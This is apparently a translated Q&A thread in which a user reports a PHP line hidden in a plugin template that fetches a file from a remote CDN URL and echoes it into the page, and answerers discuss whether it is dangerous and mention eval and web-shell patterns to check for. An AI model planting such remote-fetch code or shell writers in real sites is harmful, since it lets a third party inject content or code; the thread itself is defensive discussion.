php - PHP tmpl ファイルに埋め込まれた奇妙なコード

Question

これが使用しているプラ​​グインに埋め込まれているのを見つけました（htmlの前のtmplファイルの開始時）...

私は心配する必要がありますか？削除できますか?

<?php 
$author = @file_get_contents('http://d5827db8276672d15fca-1e2d3239e5a8580a4f85f7906852eb87.r51.cf1.rackcdn.com/author3c.php');
echo $author;
?>

ありがとう

Answer 1

私はちょうどそのURLにアクセスしましたが、それは単なる空のphpファイルなので、どこかに残しておく必要があると記載されていない限り、削除します.

編集：：

空の php ファイルだと言うと、実際にはファイルをダウンロードするためのダウンロード ダイアログが表示されましたが、空のページが表示されるだけではありませんでした。

Answer 2

テンプレートの作成者が何を言っているかに関係なく、そのファイルに何を入れるかを制御できない場合は、セキュリティ上のリスクがあります。

コードの残りの部分をチェックしてくださいeval($author)。file_put_contents('shell.php',$author);

Answer 3

file_get_contentsファイルのすべてのコンテンツを変数にロードするだけで、コードは実行しません。

そのファイルに重要なタグやコードがないかどうかを最初に確認してから、安全に削除することをお勧めします。

詳細については、PHP.net の次のページを参照してください: file_get_contents manual。